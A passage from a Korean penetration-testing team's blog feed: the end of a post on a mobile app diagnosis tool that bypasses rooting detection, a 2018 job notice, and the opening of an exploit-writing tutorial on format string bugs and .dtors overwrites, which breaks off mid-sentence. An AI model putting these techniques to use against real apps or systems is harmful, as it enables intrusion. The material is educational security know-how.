Ctrl+C로 시그널을 날려주시면&amp;nbsp;초기화가 진행되고 그 후 종료해주시면 됩니다.)&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9976314D5ACAE7A31E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9976314D5ACAE7A31E&quot; width=&quot;570&quot; height=&quot;372&quot; filename=&quot;45.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C64D4F5ACAE7DF1B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C64D4F5ACAE7DF1B&quot; width=&quot;570&quot; height=&quot;372&quot; filename=&quot;46.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 30&amp;gt; Rooting Bypass&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;정상적으로 루팅이 우회되어 실행이 가능하였습니다.&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 260px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9927874A5AC7694325&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9927874A5AC7694325&quot; width=&quot;260&quot; height=&quot;235&quot; filename=&quot;42.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 260px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991A734E5ACAEA3E0F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991A734E5ACAEA3E0F&quot; width=&quot;260&quot; height=&quot;235&quot; filename=&quot;43.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 31&amp;gt; Rooting Bypass 확인&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;이 도구는 모바일 애플리케이션&amp;nbsp;진단 시 반복되는&amp;nbsp;작업들을 자동화하여 좀 더 간편하게 진단하기 위해 제작되었으며, 오픈소스를 이용하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;저희 TeamCr@k은&amp;nbsp;체크리스트 기반의 취약점 진단이나 모바일 모의해킹 프로젝트 수행 시 애플리케이션 분석 및 변조 등을 이 도구를 활용하고 있습니다. 저희처럼 애플리케이션 진단 또는 모바일 모의해킹을 수행하는 분들이나 이 분야를 공부하시는 분들은 이 도구를 활용해 보시면 좋을 것 같습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;감사합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;참조)&lt;/p&gt;&lt;p&gt;http://teamcrak.tistory.com/378&lt;/p&gt;&lt;p&gt;https://www.frida.re/&lt;/p&gt;&lt;p&gt;https://github.com/Nightbringer21/fridump&lt;/p&gt;</description>
      <category>스마트폰</category>
      <author>알 수 없는 사용자</author>
      <guid isPermaLink="true">https://teamcrak.tistory.com/403</guid>
      <comments>https://teamcrak.tistory.com/403#entry403comment</comments>
      <pubDate>Fri, 6 Apr 2018 18:08:40 +0900</pubDate>
    </item>
    <item>
      <title>2018 TeamCR@K 팀원 모집</title>
      <link>https://teamcrak.tistory.com/notice/402</link>
      <description>&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;TeamCR@K에서 2018년 신입&amp;nbsp;팀원을 모집합니다.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;안녕하세요.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;저희 TeamCR@K 블로그를 방문해주시는 여려분 대단히 감사드립니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;2018년 무술년 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;새해를 맞아 저희 TeamCR@K에서&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;&amp;nbsp;신입&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;&amp;nbsp;팀원을 모집하려 합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;저희팀에서 주로 하는 업무는 다음과 같습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;- 모의해킹 및 취약점 점검 (주로 모의해킹 업무)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;- 알려진 취약점 분석&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;- 버그 헌팅 및 익스플로잇 구현&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;- 모의해킹 시나리오 기획 및 구현&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;여기까지 공고는 예전과 같은데요.. :)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;먼저 저희가 하는 일에 대해 조금 더 자세하게 말씀을 드려야 할 것 같습니다&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;아래는 저희가 신입 팀원분들의&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;&amp;nbsp;초기 교육자료로 사용되는 자료 중 한 컷입니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px; text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 600px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B84F475A78511901&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B84F475A78511901&quot; width=&quot;600&quot; height=&quot;436&quot; filename=&quot;1.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;저희 TeamCR@K이 추구하는 모의해킹의 범주에 대해 추가적인 설명이 있어야 할 것 같습니다.&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;많은 분들이 모의해킹과 취약점 점검이라는 단어를&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;nbsp;혼용&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;하시는지라 개념이 약간 다를수도 있는데, 저희의 경우 기반기술 위주의&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;&amp;nbsp;모의해킹&lt;/span&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;을 지향합니다. 그러기에 &lt;/span&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;모의해킹의 범주를 위와 같이 정의하고 그에 맞춰 기반기술 및 신기술 습득에 대해 끊임없이 연구하고 있습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Verdana;&quot;&gt;더불어 올해는 조직개편 및 확충을 통해 비교적 단순 업무인&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 13.3333px;&quot;&gt;체크리스트 기반 취약점 점검은 타 부서에 일임하고 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;저희는 기반기술을 활용한 모의해킹 업무를 주로 하며&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;R&amp;amp;D 및 신기술 관련 연구 분야에 대해 폭을 넓힐 계획에 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;따라서 주로 하는 업무 영역에 다음을 추가 기술해야 할 것 같습니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;- 기반기술 연구 및 이슈 대응&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;저희 TeamCR@K의 일원으로 함께 하실분을 모시고자 합니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;지원 의사가 있으신 분은 아래의 URL을 통해 지원 해 주시길 부탁드립니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;lt;사람인&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;&quot;&gt;&lt;font color=&quot;#4a4a45&quot; face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;a href=&quot;http://www.saramin.co.kr/zf_user/jobs/relay/recruit-view?rec_idx=33037478&amp;amp;recommend_ids=none#seq=0&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://www.saramin.co.kr/zf_user/jobs/relay/recruit-view?rec_idx=33037478&amp;amp;recommend_ids=none#seq=0&lt;/a&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&amp;lt;잡코리아&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#4a4a45&quot; face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;a href=&quot;http://www.jobkorea.co.kr/Recruit/GI_Read/23969353?Oem_Code=C1&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://www.jobkorea.co.kr/Recruit/GI_Read/23969353?Oem_Code=C1&lt;/a&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;color: rgb(74, 74, 69);&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;감사합니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;</description>
      <author>알 수 없는 사용자</author>
      <guid isPermaLink="true">https://teamcrak.tistory.com/notice/402</guid>
      <pubDate>Mon, 5 Feb 2018 22:36:00 +0900</pubDate>
    </item>
    <item>
      <title>Exploit Writing Technique #1: Constructor, What's that?</title>
      <link>https://teamcrak.tistory.com/401</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;안녕하세요~&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;저희 TeamCR@K 블로그를 방문해 주시는 여러분들~&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;2018년 무술년,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;새해 복 많이 받으세요!&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;지난 2017년에 저희 TeamCR@K은 더 없이 바쁜 나날을 보냈던 것 같습니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;덕분에 블로그에 저희가 어떻게 지내고 있는지 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;어떤 연구들을 했는지&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;알려드릴 수 있는 틈이 없었네요~&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;그래서 2018년 무술년을 맞이하여 기획연재를 하나 준비해 보았습니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;타이틀은 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&quot;Exploit Writing Technique&quot;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;전반적으로 모의해킹과 취약점 점검이라는 단어를&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;혼용하시는 분들이 많은 가운데에 모의해킹과 취약점 점검의 차이를 어떤 방법으로 쉽게 설명을 할까 고민을 많이 했습니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;그래서 저희 TeamCR@K이 지향하는 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;모의해킹 범주에 포함되고 있는&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;Exploit Implementation Technique에 대해 조금 자세하게 글을 써 볼까 합니다.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;보안 취약점을 찾아내고 그것에 대한 영향력이나&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;파급력을 증명하는 것이 모의해킹의 주 목적인데요.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;이를 위해 알아야 할 기본 지식들을 나열하고 예제코드를 통해 쉽게 풀어내려고 노력할테니 재미있게 봐 주시면 좋겠습니다. :)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;※ 참고로 아래 글에 사용된&amp;nbsp;모든 예제 소스코드들은 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;github&lt;/i&gt;를 통해&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;다운로드 받으실 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(189, 189, 189); background-color: rgb(0, 0, 0); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;$ git clone http://github.com/TeamCRAK/ExploitWritingTechnique.git&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;b&gt;Exploit Writing Technique #1: Constructor, What's that?&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://teamcrak.tistory.com/400&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #2: Basics of Shared Library&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;a href=&quot;http://teamcrak.tistory.com/399&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;Exploit Writing Technique #3: Preloaded Shared Libraries&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://teamcrak.tistory.com/398&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Exploit Writing Technique #4: Applied Exploits&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;정대근 보안기술팀장 (A.K.A 1ndr4)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;indra@a3security.com&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Wargame 문제를 많이 풀어보셨거나 해킹기법을 많이 공부해보신분이라면 &quot;&lt;i&gt;&lt;b&gt;Format String Bug &lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;&lt;b&gt;(줄여서 FSB)&lt;/b&gt;&lt;/i&gt;&quot;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;라는 단어를 많이 들어보셨을겁니다. &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;문자열&amp;nbsp;출력 시&amp;nbsp;Format을 조작해서 권한 상승을 유도하거나 임의의 코드를 실행하는 등의 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;악용이 가능한 취약점이었습니다. &lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;FSB를 가진 프로그램을 공격할 때 많이 사용하던 방법이&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; .dtors&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt; 주소를 기점으로 계산한 별도의 주소에 shellcode 주소를 삽입하여&amp;nbsp;원하는 코드를 실행하도록 하는 방법이었습니다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 675px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99CB47395A6883B71B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99CB47395A6883B71B&quot; width=&quot;675&quot; height=&quot;472&quot; filename=&quot;1.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px; text-align: center;&quot;&gt;[그림 1] objdump를&amp;nbsp;통한 .ctors와 .dtors 섹션 정보 출력&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;b style=&quot;color: rgb(45, 44, 45); font-family: Verdana; font-size: 12px; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;위 화면과 같이&amp;nbsp;objdump를 통해&amp;nbsp;특정 파일의&amp;nbsp;&lt;i style=&quot;font-weight: bold;&quot;&gt;.dtors &lt;/i&gt;와&amp;nbsp;&lt;b&gt;&lt;i&gt;.ctors&lt;/i&gt;&lt;/b&gt; 섹션 정보를 알아볼 수 있습니다.&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;만약&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;/bin/ls에 FSB 취약점이 존재하고 이것을 공격한다면&amp;nbsp;&lt;/span&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;.dtors&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;주소에&amp;nbsp;+4바이트(32bit 주소체계)만큼을 더한&amp;nbsp;0x0805e00C 주소에 shellcode의 주소를 